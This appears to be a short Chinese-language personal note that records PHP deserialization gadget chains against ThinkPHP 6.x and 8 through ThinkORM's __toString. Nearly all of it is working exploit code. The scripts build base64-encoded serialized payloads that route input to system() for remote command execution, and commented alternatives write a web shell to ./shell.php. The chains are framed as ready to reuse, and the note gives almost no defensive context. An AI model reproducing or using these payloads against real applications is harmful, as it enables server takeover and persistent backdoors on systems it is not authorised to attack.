记录下,省得自己到时候用到了到处翻找。

主要依赖ThinkORM,两个都是利用 think\Model中组合的\think\model\concern\Conversion中的 __toString 触发的,其他的版本应该也通用,没测试过

这套只要找能触发 __toString 的就行, poc比较短也比较简单

<?php
namespace think{
    abstract class Model{
        private $lazySave = true;
        private $data = [];
        private $exists = false;
        protected $table;
        protected $suffix;
        private $withAttr = [];
        protected $json = [];
        protected $jsonAssoc = false;
        function __construct($cmd){

            $this->data = ['cmd' => [$cmd]];
            $this->withAttr = ['cmd' => ['system']];
            $this->json = ['cmd'];
            $this->jsonAssoc = True;
            
            // 如果有disable_function 也可以写文件到 ./shell.php
            //$this->data = ['cmd' => ["./shell.php", "<?php phpinfo();"]];
            //$this->withAttr = ['cmd' => ['file_put_contents']];
            //$this->json = ['cmd'];
            //$this->jsonAssoc = True;
        }
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model{
    }
}


namespace {

    use think\model\Pivot;

    $a = new Pivot("calc");

    echo base64_encode(serialize($a));
}


?>
//触发 __toString 就行
$b = unserialize(".....")
echo $b . "aaa";

thinkphp6.x

调用链 \think\Model::__destruct –> \think\Model::save –> \think\Model::updateData –> \think\Model::checkAllowFields –> $this->table . $this->suffix 字符串拼接,触发 __toString

<?php
namespace think{
    abstract class Model{
        private $lazySave = true;
        private $data = [];
        private $exists = false;
        protected $table;
        protected $suffix;
        private $withAttr = [];
        protected $json = [];
        protected $jsonAssoc = false;
        function __construct($cmd){
            $this->table = $this;
            $this->suffix = "pankas";
            
            $this->data = ['cmd' => [$cmd]];
            $this->withAttr = ['cmd' => ['system']];
            $this->json = ['cmd'];
            $this->jsonAssoc = True;
            
            // 如果有disable_function 也可以写文件到 ./shell.php
            //$this->data = ['cmd' => ["./shell.php", "<?php phpinfo();"]];
            //$this->withAttr = ['cmd' => ['file_put_contents']];
            //$this->json = ['cmd'];
            //$this->jsonAssoc = True;
        }
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model{
    }
}


namespace {

    use think\model\Pivot;

    $a = new Pivot("calc");

    echo base64_encode(serialize($a));
}


thinkphp8

调用链 \think\route\ResourceRegister::__destruct –> \think\route\ResourceRegister::register –> \think\route\Resource::parseGroupRule –> $item[] = $val . '/<' . ($option['var'][$val] ?? $val . '_id') . '>'; 触发 __toString

<?php
namespace think{
    abstract class Model{
        private $lazySave = false;
        private $data = [];
        private $exists = false;
        protected $table;
        private $withAttr = [];
        protected $json = [];
        protected $jsonAssoc = false;
        function __construct($cmd){
            $this->data = ['cmd' => [$cmd]];
            $this->withAttr = ['cmd' => ['system']];
            $this->json = ['cmd'];
            $this->jsonAssoc = True;
            
            // 如果有disable_function 也可以写文件到 ./shell.php
            //$this->data = ['cmd' => ["./shell.php", "<?php phpinfo();"]];
            //$this->withAttr = ['cmd' => ['file_put_contents']];
            //$this->json = ['cmd'];
            //$this->jsonAssoc = True;
        }
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model{
    }
}

namespace think\route {

    use think\model\Pivot;

    class Route {
    }
    class Resource {
        protected $rule;
        protected $router;
        protected $name;
        protected $rest;
        protected $option;

        public function __construct($cmd) {
            $this->rule = "pankas";
            $this->router = new Route();
            $this->name = "pankas";
            $this->rest = [['a', '<id>']];
            $this->option = ['var'=>[$this->rule=>new Pivot($cmd)]];
        }
    }
    class ResourceRegister {
        public function __construct($cmd)
        {
            $this->registered = false;
            $this->resource = new Resource($cmd);
        }
    }
}

namespace {

    use think\route\ResourceRegister;

    echo base64_encode(serialize(new ResourceRegister("calc")));
}